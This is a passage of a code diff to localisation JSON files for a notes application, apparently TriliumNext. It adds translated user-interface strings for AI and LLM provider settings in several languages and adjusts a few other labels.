+    "no_models_found_online": "Aucun modèle trouvé. Veuillez vérifier votre clé API et vos paramètres.",
+    "no_models_found_ollama": "Aucun modèle Ollama trouvé. Veuillez vérifier si Ollama est en cours d'exécution.",
+    "error_fetching": "Erreur lors de la récupération des modèles : {{error}}"
+  },
   "ui-performance": {
     "title": "Performance",
     "enable-motion": "Activer les transitions et animations",

apps/client/src/translations/ga/translation.json

@@ -1193,6 +1193,149 @@
     "enable-smooth-scroll": "Cumasaigh scrollú réidh",
     "app-restart-required": "(tá atosú an fheidhmchláir ag teastáil chun an t-athrú a chur i bhfeidhm)"
   },
+  "ai_llm": {
+    "not_started": "Níor tosaíodh",
+    "title": "Socruithe AI",
+    "processed_notes": "Nótaí Próiseáilte",
+    "total_notes": "Nótaí Iomlána",
+    "progress": "Dul Chun Cinn",
+    "queued_notes": "Nótaí i gCiú",
+    "failed_notes": "Nótaí Theipthe",
+    "last_processed": "Próiseáilte Deiridh",
+    "refresh_stats": "Athnuachan Staitisticí",
+    "enable_ai_features": "Cumasaigh gnéithe AI/LLM",
+    "enable_ai_description": "Cumasaigh gnéithe AI cosúil le achoimre nótaí, giniúint ábhair, agus cumais LLM eile",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Cumasaigh gnéithe AI/LLM",
+    "enable_ai_desc": "Cumasaigh gnéithe AI cosúil le achoimre nótaí, giniúint ábhair, agus cumais LLM eile",
+    "provider_configuration": "Cumraíocht Soláthraí AI",
+    "provider_precedence": "Tosaíocht Soláthraí",
+    "provider_precedence_description": "Liosta soláthraithe scartha le camóga in ord tosaíochta (m.sh., 'openai, anthropic, ollama')",
+    "temperature": "Teocht",
+    "temperature_description": "Rialaíonn randamacht i bhfreagraí (0 = cinntitheach, 2 = uasmhéid randamachta)",
+    "system_prompt": "Pras Córais",
+    "system_prompt_description": "Leid réamhshocraithe an chórais a úsáidtear le haghaidh gach idirghníomhaíocht AI",
+    "openai_configuration": "Cumraíocht OpenAI",
+    "openai_settings": "Socruithe OpenAI",
+    "api_key": "Eochair API",
+    "url": "Bun-URL",
+    "model": "Samhail",
+    "openai_api_key_description": "D'eochair API OpenAI chun rochtain a fháil ar a gcuid seirbhísí AI",
+    "anthropic_api_key_description": "D'eochair API Anthropic chun rochtain a fháil ar mhúnlaí Claude",
+    "default_model": "Samhail Réamhshocraithe",
+    "openai_model_description": "Samplaí: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "Bun-URL",
+    "openai_url_description": "Réamhshocrú: https://api.openai.com/v1",
+    "anthropic_settings": "Socruithe Anthropic",
+    "anthropic_url_description": "Bun-URL don Anthropic API (réamhshocraithe: https://api.anthropic.com)",
+    "anthropic_model_description": "Samhlacha Anthropic Claude le haghaidh comhlánú comhrá",
+    "voyage_settings": "Socruithe Voyage AI",
+    "ollama_settings": "Socruithe Ollama",
+    "ollama_url_description": "URL don Ollama API (réamhshocrú: http://localhost:11434)",
+    "ollama_model_description": "Samhail Ollama le húsáid le haghaidh comhrá a chríochnú",
+    "anthropic_configuration": "Cumraíocht Anthropic",
+    "voyage_configuration": "Cumraíocht AI Voyage",
+    "voyage_url_description": "Réamhshocrú: https://api.voyageai.com/v1",
+    "ollama_configuration": "Cumraíocht Ollama",
+    "enable_ollama": "Cumasaigh Ollama",
+    "enable_ollama_description": "Cumasaigh Ollama le haghaidh úsáide áitiúla samhail AI",
+    "ollama_url": "URL Ollama",
+    "ollama_model": "Samhail Ollama",
+    "refresh_models": "Athnuachan Samhlacha",
+    "refreshing_models": "Ag athnuachan...",
+    "enable_automatic_indexing": "Cumasaigh Innéacsú Uathoibríoch",
+    "rebuild_index": "Innéacs Athchóirithe",
+    "rebuild_index_error": "Earráid ag tosú atógáil an innéacs. Seiceáil na logaí le haghaidh sonraí.",
+    "note_title": "Teideal an Nóta",
+    "error": "Earráid",
+    "last_attempt": "Iarracht Dheiridh",
+    "actions": "Gníomhartha",
+    "retry": "Déan iarracht eile",
+    "partial": "{{ percentage }}% críochnaithe",
+    "retry_queued": "Nóta curtha i scuaine le haghaidh athiarrachta",
+    "retry_failed": "Theip ar an nóta a chur sa scuaine le haghaidh athiarrachta",
+    "max_notes_per_llm_query": "Uasmhéid Nótaí In Aghaidh an Fhiosrúcháin",
+    "max_notes_per_llm_query_description": "Uasmhéid nótaí comhchosúla le cur san áireamh i gcomhthéacs na hintleachta saorga",
+    "active_providers": "Soláthraithe Gníomhacha",
+    "disabled_providers": "Soláthraithe faoi Mhíchumas",
+    "remove_provider": "Bain an soláthraí as an gcuardach",
+    "restore_provider": "Athchóirigh soláthraí chuig an gcuardach",
+    "similarity_threshold": "Tairseach Cosúlachta",
+    "similarity_threshold_description": "Scór cosúlachta íosta (0-1) le go n-áireofar nótaí i gcomhthéacs fiosrúcháin LLM",
+    "reprocess_index": "Athchruthaigh Innéacs Cuardaigh",
+    "reprocessing_index": "Atógáil...",
+    "reprocess_index_started": "Cuireadh tús le hoptamú innéacs cuardaigh sa chúlra",
+    "reprocess_index_error": "Earráid ag atógáil innéacs cuardaigh",
+    "index_rebuild_progress": "Dul Chun Cinn Athchóirithe Innéacs",
+    "index_rebuilding": "Innéacs optamaithe ({{percentage}}%)",
+    "index_rebuild_complete": "Uasmhéadú innéacs críochnaithe",
+    "index_rebuild_status_error": "Earráid ag seiceáil stádas athchóirithe innéacs",
+    "never": "Choíche",
+    "processing": "Próiseáil ({{percentage}}%)",
+    "incomplete": "Neamhchríochnaithe ({{percentage}}%)",
+    "complete": "Críochnaithe (100%)",
+    "refreshing": "Ag athnuachan...",
+    "auto_refresh_notice": "Athnuachan uathoibríoch gach {{seconds}} soicind",
+    "note_queued_for_retry": "Nóta curtha i scuaine le haghaidh athiarrachta",
+    "failed_to_retry_note": "Theip ar an nóta a athdhéanamh",
+    "all_notes_queued_for_retry": "Gach nóta nár éirigh leo curtha i scuaine le haghaidh athiarrachta",
+    "failed_to_retry_all": "Theip ar athiarracht nótaí",
+    "ai_settings": "Socruithe AI",
+    "api_key_tooltip": "Eochair API chun rochtain a fháil ar an tseirbhís",
+    "empty_key_warning": {
+      "anthropic": "Tá eochair API Anthropic folamh. Cuir isteach eochair API bhailí le do thoil.",
+      "openai": "Tá eochair API OpenAI folamh. Cuir isteach eochair API bhailí le do thoil.",
+      "voyage": "Tá eochair API Voyage folamh. Cuir isteach eochair API bhailí le do thoil.",
+      "ollama": "Tá eochair API Ollama folamh. Cuir isteach eochair API bhailí le do thoil."
+    },
+    "agent": {
+      "processing": "Ag próiseáil...",
+      "thinking": "Ag smaoineamh...",
+      "loading": "Ag lódáil...",
+      "generating": "Ag giniúint..."
+    },
+    "name": "Intleacht Shaorga",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Úsáid comhthéacs feabhsaithe",
+    "enhanced_context_description": "Tugann sé níos mó comhthéacs don AI ón nóta agus a nótaí gaolmhara le haghaidh freagraí níos fearr",
+    "show_thinking": "Taispeáin smaointeoireacht",
+    "show_thinking_description": "Taispeáin slabhra phróiseas smaointeoireachta na hintleachta saorga",
+    "enter_message": "Cuir isteach do theachtaireacht...",
+    "error_contacting_provider": "Earráid ag teacht i dteagmháil leis an soláthraí AI. Seiceáil do shocruithe agus do nasc idirlín le do thoil.",
+    "error_generating_response": "Earráid ag giniúint freagra AI",
+    "index_all_notes": "Innéacs na Nótaí Uile",
+    "index_status": "Stádas Innéacs",
+    "indexed_notes": "Nótaí Innéacsaithe",
+    "indexing_stopped": "Stopadh an innéacsú",
+    "indexing_in_progress": "Innéacsú ar siúl...",
+    "last_indexed": "Innéacsaithe Deiridh",
+    "note_chat": "Comhrá Nótaí",
+    "sources": "Foinsí",
+    "start_indexing": "Tosaigh ag Innéacsú",
+    "use_advanced_context": "Úsáid Comhthéacs Ardleibhéil",
+    "ollama_no_url": "Níl Ollama cumraithe. Cuir isteach URL bailí le do thoil.",
+    "chat": {
+      "root_note_title": "Comhráite AI",
+      "root_note_content": "Tá do chomhráite comhrá AI sábháilte sa nóta seo.",
+      "new_chat_title": "Comhrá Nua",
+      "create_new_ai_chat": "Cruthaigh Comhrá AI nua"
+    },
+    "create_new_ai_chat": "Cruthaigh Comhrá AI nua",
+    "configuration_warnings": "Tá roinnt fadhbanna le do chumraíocht AI. Seiceáil do shocruithe le do thoil.",
+    "experimental_warning": "Tá an ghné LLM turgnamhach faoi láthair - tugadh rabhadh duit.",
+    "selected_provider": "Soláthraí Roghnaithe",
+    "selected_provider_description": "Roghnaigh an soláthraí AI le haghaidh gnéithe comhrá agus comhlánaithe",
+    "select_model": "Roghnaigh samhail...",
+    "select_provider": "Roghnaigh soláthraí...",
+    "ai_enabled": "Gnéithe AI cumasaithe",
+    "ai_disabled": "Gnéithe AI díchumasaithe",
+    "no_models_found_online": "Níor aimsíodh aon mhúnlaí. Seiceáil d’eochair API agus do shocruithe le do thoil.",
+    "no_models_found_ollama": "Níor aimsíodh aon mhúnlaí Ollama. Seiceáil le do thoil an bhfuil Ollama ag rith.",
+    "error_fetching": "Earráid ag fáil samhlacha: {{error}}"
+  },
   "zoom_factor": {
     "title": "Fachtóir Súmáil (leagan deisce amháin)",
     "description": "Is féidir súmáil a rialú le haicearraí CTRL+- agus CTRL+= chomh maith."
@@ -1679,8 +1822,7 @@
   },
   "search_result": {
     "no_notes_found": "Ní bhfuarthas aon nótaí do na paraiméadair chuardaigh tugtha.",
-    "search_not_executed": "Níl an cuardach curtha i gcrích fós.",
-    "search_now": "Cuardaigh anois"
+    "search_not_executed": "Níl an cuardach curtha i gcrích fós. Cliceáil ar an gcnaipe \"Cuardaigh\" thuas chun na torthaí a fheiceáil."
   },
   "spacer": {
     "configure_launchbar": "Cumraigh an Barra Seoladh"

apps/client/src/translations/id/translation.json

@@ -83,10 +83,7 @@
     "erase_notes_warning": "Hapus catatan secara permanen (tidak bisa dikembalikan), termasuk semua duplikat. Aksi akan memaksa aplikasi untuk mengulang kembali.",
     "notes_to_be_deleted": "Catatan-catatan berikut akan dihapuskan ({{notesCount}})",
     "no_note_to_delete": "Tidak ada Catatan yang akan dihapus (hanya duplikat).",
-    "broken_relations_to_be_deleted": "Hubungan berikut akan diputus dan dihapus ({{ relationCount}})",
-    "cancel": "Batalkan",
-    "ok": "Setuju",
-    "deleted_relation_text": "Catatan {{- note}} (yang akan dihapus) dirujuk oleh relasi {{- relation}} yang berasal dari {{- source}}."
+    "broken_relations_to_be_deleted": "Hubungan berikut akan diputus dan dihapus ({{ relationCount}})"
   },
   "clone_to": {
     "clone_notes_to": "Duplikat catatan ke…",
@@ -99,12 +96,5 @@
     "clone_to_selected_note": "Salin ke catatan yang dipilih",
     "no_path_to_clone_to": "Tidak ada jalur untuk digandakan.",
     "note_cloned": "Catatan \"{{clonedTitle}}\" telah digandakan ke dalam \"{{targetTitle}}\""
-  },
-  "search_result": {
-    "search_now": "Cari sekarang"
-  },
-  "export": {
-    "export_note_title": "Mengeluarkan catatan",
-    "close": "Tutup"
   }
 }

apps/client/src/translations/it/translation.json

@@ -118,7 +118,7 @@
     "export_type_subtree": "Questa nota e tutti i suoi discendenti",
     "format_html": "HTML - raccomandato in quanto mantiene tutti i formati",
     "format_html_zip": "HTML in archivio ZIP - questo è raccomandato in quanto conserva tutta la formattazione.",
-    "format_markdown": "Markdown: preserva la maggior parte della formattazione.",
+    "format_markdown": "MArkdown - questo conserva la maggior parte della formattazione.",
     "export_type_single": "Solo questa nota, senza le sottostanti",
     "format_opml": "OPML - formato per scambio informazioni outline. Formattazione, immagini e files non sono inclusi.",
     "opml_version_1": "OPML v.1.0 - solo testo semplice",
@@ -592,7 +592,7 @@
     "collapseExpand": "collassa/espande il nodo",
     "notSet": "non impostato",
     "goBackForwards": "indietro/avanti nella cronologia",
-    "showJumpToNoteDialog": "mostra <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/note-navigation.html#jump-to-note\">\"Vai a\"</a>",
+    "showJumpToNoteDialog": "mostra <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/note-navigation.html#jump-to-note\">finestra di dialogo “Vai a”</a>",
     "title": "Scheda riassuntiva",
     "noteNavigation": "Nota navigazione",
     "scrollToActiveNote": "scorri fino alla nota attiva",
@@ -663,6 +663,149 @@
     "thursday": "Giovedì",
     "friday": "Venerdì"
   },
+  "ai_llm": {
+    "not_started": "Non iniziato",
+    "title": "Impostazioni AI",
+    "processed_notes": "Note elaborate",
+    "total_notes": "Note totali",
+    "progress": "Progressi",
+    "queued_notes": "Note in coda",
+    "failed_notes": "Note non riuscite",
+    "last_processed": "Ultimo elaborato",
+    "refresh_stats": "Aggiorna statistiche",
+    "enable_ai_features": "Abilita le funzionalità AI/LLM",
+    "enable_ai_description": "Abilita funzionalità di intelligenza artificiale come il riepilogo delle note, la generazione di contenuti e altre funzionalità LLM",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Antropico",
+    "voyage_tab": "Viaggio AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Abilita le funzionalità AI/LLM",
+    "enable_ai_desc": "Abilita funzionalità di intelligenza artificiale come il riepilogo delle note, la generazione di contenuti e altre funzionalità LLM",
+    "provider_configuration": "Configurazione del fornitore di intelligenza artificiale",
+    "provider_precedence": "Precedenza del fornitore",
+    "provider_precedence_description": "Elenco dei provider separati da virgole in ordine di precedenza (ad esempio, 'openai,anthropic,ollama')",
+    "temperature": "Temperatura",
+    "temperature_description": "Controlla la casualità nelle risposte (0 = deterministico, 2 = casualità massima)",
+    "system_prompt": "Prompt di sistema",
+    "system_prompt_description": "Prompt di sistema predefinito utilizzato per tutte le interazioni con l'IA",
+    "openai_configuration": "Configurazione OpenAI",
+    "openai_settings": "Impostazioni OpenAI",
+    "api_key": "Chiave API",
+    "url": "URL di base",
+    "model": "Modello",
+    "openai_api_key_description": "La tua chiave API OpenAI per accedere ai loro servizi di intelligenza artificiale",
+    "anthropic_api_key_description": "La tua chiave API Anthropic per accedere ai modelli Claude",
+    "default_model": "Modello predefinito",
+    "openai_model_description": "Esempi: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "URL di base",
+    "openai_url_description": "Predefinito: https://api.openai.com/v1",
+    "anthropic_settings": "Ambientazioni antropiche",
+    "anthropic_url_description": "URL di base per l'API Anthropic (predefinito: https://api.anthropic.com)",
+    "anthropic_model_description": "Modelli di Anthropic Claude per il completamento della chat",
+    "voyage_settings": "Impostazioni AI di Voyage",
+    "ollama_settings": "Impostazioni Ollama",
+    "ollama_url_description": "URL per l'API Ollama (predefinito: http://localhost:11434)",
+    "ollama_model_description": "Modello Ollama da utilizzare per il completamento della chat",
+    "anthropic_configuration": "Configurazione antropica",
+    "voyage_configuration": "Configurazione AI di viaggio",
+    "voyage_url_description": "Predefinito: https://api.voyageai.com/v1",
+    "ollama_configuration": "Configurazione Ollama",
+    "enable_ollama": "Abilita Ollama",
+    "enable_ollama_description": "Abilita Ollama per l'utilizzo del modello AI locale",
+    "ollama_url": "URL di Ollama",
+    "ollama_model": "Modello Ollama",
+    "refresh_models": "Aggiorna modelli",
+    "refreshing_models": "Rinfrescante...",
+    "enable_automatic_indexing": "Abilita l'indicizzazione automatica",
+    "rebuild_index": "Ricostruisci indice",
+    "rebuild_index_error": "Errore durante l'avvio della ricostruzione dell'indice. Controllare i log per i dettagli.",
+    "note_title": "Titolo della nota",
+    "error": "Errore",
+    "last_attempt": "Ultimo tentativo",
+    "actions": "Azioni",
+    "retry": "Riprova",
+    "partial": "{{ percentage }}% completato",
+    "retry_queued": "Nota in coda per un nuovo tentativo",
+    "retry_failed": "Impossibile mettere in coda la nota per un nuovo tentativo",
+    "max_notes_per_llm_query": "Numero massimo di note per query",
+    "max_notes_per_llm_query_description": "Numero massimo di note simili da includere nel contesto AI",
+    "active_providers": "Fornitori attivi",
+    "disabled_providers": "Fornitori disabili",
+    "remove_provider": "Rimuovi il fornitore dalla ricerca",
+    "restore_provider": "Ripristina il provider per la ricerca",
+    "similarity_threshold": "Soglia di similarità",
+    "similarity_threshold_description": "Punteggio minimo di similarità (0-1) per le note da includere nel contesto per le query LLM",
+    "reprocess_index": "Ricostruisci l'indice di ricerca",
+    "reprocessing_index": "Ricostruzione...",
+    "reprocess_index_started": "Ottimizzazione dell'indice di ricerca avviata in background",
+    "reprocess_index_error": "Errore durante la ricostruzione dell'indice di ricerca",
+    "index_rebuild_progress": "Progresso nella ricostruzione dell'indice",
+    "index_rebuilding": "Indice di ottimizzazione ({{percentage}}%)",
+    "index_rebuild_complete": "Ottimizzazione dell'indice completata",
+    "index_rebuild_status_error": "Errore durante il controllo dello stato di ricostruzione dell'indice",
+    "never": "Mai",
+    "processing": "Elaborazione ({{percentage}}%)",
+    "incomplete": "Incompleto ({{percentage}}%)",
+    "complete": "Completato (100%)",
+    "refreshing": "Rinfrescante...",
+    "auto_refresh_notice": "Si aggiorna automaticamente ogni {{seconds}} secondi",
+    "note_queued_for_retry": "Nota in coda per un nuovo tentativo",
+    "failed_to_retry_note": "Impossibile riprovare nota",
+    "all_notes_queued_for_retry": "Tutte le note non riuscite sono in coda per un nuovo tentativo",
+    "failed_to_retry_all": "Impossibile riprovare le note",
+    "ai_settings": "Impostazioni AI",
+    "api_key_tooltip": "Chiave API per accedere al servizio",
+    "empty_key_warning": {
+      "anthropic": "La chiave API di Anthropic è vuota. Inserisci una chiave API valida.",
+      "openai": "La chiave API di OpenAI è vuota. Inserisci una chiave API valida.",
+      "voyage": "La chiave API di Voyage è vuota. Inserisci una chiave API valida.",
+      "ollama": "La chiave API di Ollama è vuota. Inserisci una chiave API valida."
+    },
+    "agent": {
+      "processing": "Elaborazione in corso...",
+      "thinking": "Pensiero...",
+      "loading": "Caricamento...",
+      "generating": "Generazione in corso..."
+    },
+    "name": "intelligenza artificiale",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Utilizzare il contesto avanzato",
+    "enhanced_context_description": "Fornisce all'IA più contesto dalla nota e dalle note correlate per risposte migliori",
+    "show_thinking": "Mostra il pensiero",
+    "show_thinking_description": "Mostra la catena del processo di pensiero dell'IA",
+    "enter_message": "Inserisci il tuo messaggio...",
+    "error_contacting_provider": "Errore durante la connessione al fornitore dell'IA. Controlla le impostazioni e la connessione Internet.",
+    "error_generating_response": "Errore durante la generazione della risposta AI",
+    "index_all_notes": "Indice Tutte le note",
+    "index_status": "Stato dell'indice",
+    "indexed_notes": "Note indicizzate",
+    "indexing_stopped": "Indicizzazione interrotta",
+    "indexing_in_progress": "Indicizzazione in corso...",
+    "last_indexed": "Ultimo indicizzato",
+    "note_chat": "Nota Chat",
+    "sources": "Fonti",
+    "start_indexing": "Avvia l'indicizzazione",
+    "use_advanced_context": "Usa contesto avanzato",
+    "ollama_no_url": "Ollama non è configurato. Inserisci un URL valido.",
+    "chat": {
+      "root_note_title": "Chat AI",
+      "root_note_content": "Questa nota contiene le conversazioni della chat AI salvate.",
+      "new_chat_title": "Nuova chat",
+      "create_new_ai_chat": "Crea una nuova chat AI"
+    },
+    "create_new_ai_chat": "Crea una nuova chat AI",
+    "configuration_warnings": "Ci sono alcuni problemi con la configurazione dell'IA. Controlla le impostazioni.",
+    "experimental_warning": "La funzionalità LLM è attualmente sperimentale: sei stato avvisato.",
+    "selected_provider": "Fornitore selezionato",
+    "selected_provider_description": "Scegli il fornitore di intelligenza artificiale per le funzionalità di chat e completamento",
+    "select_model": "Seleziona il modello...",
+    "select_provider": "Seleziona il fornitore...",
+    "ai_enabled": "Funzionalità AI abilitate",
+    "ai_disabled": "Funzionalità AI disabilitate",
+    "no_models_found_online": "Nessun modello trovato. Controlla la tua chiave API e le impostazioni.",
+    "no_models_found_ollama": "Nessun modello Ollama trovato. Controlla se Ollama è in esecuzione.",
+    "error_fetching": "Errore durante il recupero dei modelli: {{error}}"
+  },
   "import": {
     "importIntoNote": "Importa nella nota",
     "chooseImportFile": "Scegli file di importazione",
@@ -1713,10 +1856,10 @@
     "confirm-change": "Si sconsiglia di cambiare tipo di nota quando il contenuto della nota non è vuoto. Vuoi continuare comunque?",
     "geo-map": "Mappa geografica",
     "beta-feature": "Beta",
+    "ai-chat": "Chat AI",
     "task-list": "Elenco delle attività",
     "new-feature": "Nuovo",
-    "collections": "Collezioni",
-    "ai-chat": "Chat con IA"
+    "collections": "Collezioni"
   },
   "protect_note": {
     "toggle-on": "Proteggi la nota",
@@ -1794,8 +1937,7 @@
   },
   "search_result": {
     "no_notes_found": "Non sono state trovate note per i parametri di ricerca specificati.",
-    "search_not_executed": "La ricerca non è stata ancora eseguita.",
-    "search_now": "Cerca ora"
+    "search_not_executed": "La ricerca non è stata ancora eseguita. Clicca sul pulsante \"Cerca\" qui sopra per visualizzare i risultati."
   },
   "spacer": {
     "configure_launchbar": "Configura Launchbar"
@@ -2022,9 +2164,7 @@
     "percentage": "%"
   },
   "pagination": {
-    "total_notes": "{{count}} note",
-    "prev_page": "Pagina precedente",
-    "next_page": "Pagina successiva"
+    "total_notes": "{{count}} note"
   },
   "collections": {
     "rendering_error": "Impossibile mostrare il contenuto a causa di un errore."

apps/client/src/translations/ja/translation.json

@@ -597,10 +597,10 @@
     "widget": "ウィジェット",
     "confirm-change": "ノートの内容が空ではない場合、ノートタイプを変更することは推奨されません。続行しますか？",
     "beta-feature": "Beta",
+    "ai-chat": "AI チャット",
     "task-list": "タスクリスト",
     "new-feature": "New",
-    "collections": "コレクション",
-    "ai-chat": "AI チャット"
+    "collections": "コレクション"
   },
   "edited_notes": {
     "no_edited_notes_found": "この日の編集されたノートはまだありません...",
@@ -1283,8 +1283,7 @@
   },
   "search_result": {
     "no_notes_found": "指定された検索パラメータに該当するノートは見つかりませんでした。",
-    "search_not_executed": "検索はまだ実行されていません。",
-    "search_now": "今すぐ検索"
+    "search_not_executed": "検索はまだ実行されていません。上の「検索」ボタンをクリックすると、検索結果が表示されます。"
   },
   "sql_result": {
     "no_rows": "このクエリでは行が返されませんでした",
@@ -1425,6 +1424,149 @@
   "content_renderer": {
     "open_externally": "外部で開く"
   },
+  "ai_llm": {
+    "title": "AI 設定",
+    "enable_ai_features": "AI/LLM 機能を有効化",
+    "enable_ai_description": "ノートの要約、コンテンツ生成、その他のLLM機能などのAI機能を有効にする",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "AI/LLM 機能を有効化",
+    "enable_ai_desc": "ノートの要約、コンテンツ生成、その他のLLM機能などのAI機能を有効にする",
+    "provider_configuration": "AI プロバイダーの設定",
+    "provider_precedence": "プロバイダーの優先順位",
+    "provider_precedence_description": "カンマで区切られたプロバイダーの優先順位リスト（例: 'openai,anthropic,ollama'）",
+    "temperature_description": "応答のランダム性を制御する（0 = 決定的、2 = 最大ランダム性）",
+    "system_prompt_description": "すべてのAIとの対話に使用されるデフォルトのシステムプロンプト",
+    "system_prompt": "システムプロンプト",
+    "openai_configuration": "OpenAIの設定",
+    "openai_settings": "OpenAIの設定",
+    "api_key": "APIキー",
+    "model": "モデル",
+    "openai_api_key_description": "OpenAIのAIサービスにアクセスするためのAPIキー",
+    "anthropic_api_key_description": "AnthropicのClaudeモデルにアクセスするためのAPIキー",
+    "default_model": "デフォルトモデル",
+    "openai_model_description": "例: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "openai_url_description": "デフォルト: https://api.openai.com/v1",
+    "anthropic_settings": "Anthropicの設定",
+    "anthropic_model_description": "チャット補完用のAnthropic Claudeモデル",
+    "voyage_settings": "Voyage AIの設定",
+    "ollama_settings": "Ollamaの設定",
+    "ollama_url_description": "Ollama API の URL（デフォルト: http://localhost:11434）",
+    "anthropic_url_description": "Anthropic APIのベースURL（デフォルト: https://api.anthropic.com）",
+    "ollama_model_description": "チャット補完用のOllamaモデル",
+    "anthropic_configuration": "Anthropicの設定",
+    "voyage_configuration": "Voyage AIの設定",
+    "voyage_url_description": "デフォルト: https://api.voyageai.com/v1",
+    "ollama_configuration": "Ollamaの設定",
+    "enable_ollama": "Ollamaを有効",
+    "enable_ollama_description": "ローカルAIモデルを利用するためOllamaを有効にする",
+    "ollama_url": "Ollama URL",
+    "ollama_model": "Ollamaモデル",
+    "refresh_models": "モデルを更新",
+    "refreshing_models": "更新中...",
+    "error": "エラー",
+    "retry": "再試行",
+    "partial": "{{ percentage }}%完了",
+    "processing": "処理中（{{percentage}}%）",
+    "complete": "完了（100%）",
+    "refreshing": "更新中...",
+    "auto_refresh_notice": "{{seconds}}秒ごとに自動更新",
+    "ai_settings": "AI 設定",
+    "api_key_tooltip": "サービスにアクセスするためのAPIキー",
+    "empty_key_warning": {
+      "anthropic": "Anthropic APIキーが空です。有効な APIキーを入力してください。",
+      "openai": "OpenAI APIキーが空です。有効なAPIキーを入力してください。",
+      "voyage": "Voyage APIキーが空です。有効なAPIキーを入力してください。",
+      "ollama": "Ollama APIキーが空です。有効なAPIキーを入力してください。"
+    },
+    "agent": {
+      "processing": "処理中...",
+      "loading": "読み込み中...",
+      "generating": "生成中...",
+      "thinking": "考え中..."
+    },
+    "name": "AI",
+    "openai": "OpenAI",
+    "error_contacting_provider": "AIプロバイダーへの接続中にエラーが発生しました。設定とインターネット接続をご確認ください。",
+    "ollama_no_url": "Ollamaは設定されていません。有効なURLを入力してください。",
+    "chat": {
+      "root_note_title": "AIチャット",
+      "root_note_content": "このノートには、保存されたAIチャットの会話が含まれています。",
+      "new_chat_title": "新しいチャット",
+      "create_new_ai_chat": "新しいAIチャットを作成"
+    },
+    "create_new_ai_chat": "新しいAIチャットを作成",
+    "configuration_warnings": "AIの設定に問題があります。設定を確認してください。",
+    "experimental_warning": "LLM機能は現在実験的です - ご注意ください。",
+    "selected_provider_description": "チャットおよび補完機能のAIプロバイダーを選択する",
+    "selected_provider": "プロバイダーを選択",
+    "select_model": "モデルを選択...",
+    "select_provider": "プロバイダーを選択...",
+    "not_started": "開始されていません",
+    "processed_notes": "処理済みノート",
+    "total_notes": "ノートの総数",
+    "progress": "進行状況",
+    "queued_notes": "キューに登録されたノート",
+    "failed_notes": "失敗したノート",
+    "last_processed": "最終処理日時",
+    "refresh_stats": "統計情報を更新",
+    "temperature": "Temperature（温度）",
+    "url": "ベースURL",
+    "base_url": "ベースURL",
+    "enable_automatic_indexing": "自動インデックス作成を有効にする",
+    "rebuild_index": "インデックスの再構築",
+    "rebuild_index_error": "インデックスの再構築開始時にエラーが発生しました。詳細はログをご確認ください。",
+    "note_title": "ノートのタイトル",
+    "last_attempt": "最終試行日時",
+    "actions": "アクション",
+    "retry_queued": "ノートが再試行キューに追加されました",
+    "retry_failed": "ノートを再試行キューに追加できませんでした",
+    "max_notes_per_llm_query": "クエリあたりの最大ノート数",
+    "max_notes_per_llm_query_description": "AIコンテキストに含める類似ノートの最大数",
+    "active_providers": "アクティブなプロバイダー",
+    "disabled_providers": "無効なプロバイダー",
+    "remove_provider": "検索からプロバイダーを削除",
+    "restore_provider": "検索にプロバイダーを復元",
+    "similarity_threshold": "類似度のしきい値",
+    "similarity_threshold_description": "LLMクエリのコンテキストに含めるノートの最小類似度スコア（0～1）",
+    "reprocess_index": "検索インデックスを再構築",
+    "reprocessing_index": "再構築中...",
+    "reprocess_index_started": "検索インデックスの最適化がバックグラウンドで開始されました",
+    "reprocess_index_error": "検索インデックスの再構築中にエラーが発生しました",
+    "index_rebuild_progress": "インデックスの再構築の進行状況",
+    "index_rebuilding": "インデックスの最適化中（{{percentage}}%）",
+    "index_rebuild_complete": "インデックスの最適化が完了しました",
+    "index_rebuild_status_error": "インデックスの再構築ステータスの確認中にエラーが発生しました",
+    "never": "なし",
+    "incomplete": "未完了 ({{percentage}}%)",
+    "note_queued_for_retry": "ノートが再試行キューに追加されました",
+    "failed_to_retry_note": "ノートの再試行に失敗しました",
+    "all_notes_queued_for_retry": "失敗したすべてのノートは再試行のためにキューに入れられました",
+    "failed_to_retry_all": "ノートの再試行に失敗しました",
+    "use_enhanced_context": "拡張されたコンテキストを使用する",
+    "enhanced_context_description": "ノートとその関連ノートからより多くのコンテキストをAIに提供し、より良い応答を実現します",
+    "show_thinking": "思考を表示",
+    "show_thinking_description": "AIの思考プロセスをチェーン表示",
+    "enter_message": "メッセージを入力...",
+    "error_generating_response": "AI応答の生成中にエラーが発生しました",
+    "index_all_notes": "すべてのノートをインデックスに登録",
+    "index_status": "インデックスのステータス",
+    "indexed_notes": "インデックス登録済みのノート",
+    "indexing_stopped": "インデックス登録を停止しました",
+    "indexing_in_progress": "インデックス登録中です...",
+    "last_indexed": "最終インデックス作成日時",
+    "note_chat": "ノートチャット",
+    "sources": "ソース",
+    "start_indexing": "インデックス作成を開始",
+    "use_advanced_context": "高度なコンテキストを使用",
+    "ai_enabled": "AI 機能が有効",
+    "ai_disabled": "AI 機能が無効",
+    "no_models_found_online": "モデルが見つかりません。API キーと設定を確認してください。",
+    "no_models_found_ollama": "Ollama モデルが見つかりません。Ollama が実行中かどうかを確認してください。",
+    "error_fetching": "モデルの取得エラー: {{error}}"
+  },
   "add_label": {
     "add_label": "ラベルを追加",
     "label_name_placeholder": "ラベル名",

apps/client/src/translations/ko/translation.json

@@ -81,17 +81,13 @@
     "search_for_note_by_its_name": "이름으로 노트 검색하기",
     "no_path_to_clone_to": "클론할 경로가 존재하지 않습니다.",
     "note_cloned": "노트 \"{{clonedTitle}}\"이(가) \"{{targetTitle}}\"로 클론되었습니다",
-    "cloned_note_prefix_title": "클론된 노트는 지정된 접두사와 함께 노트 트리에 표시됩니다",
-    "prefix_optional": "접두사 (선택 사항)",
-    "clone_to_selected_note": "선택한 노트에 클론"
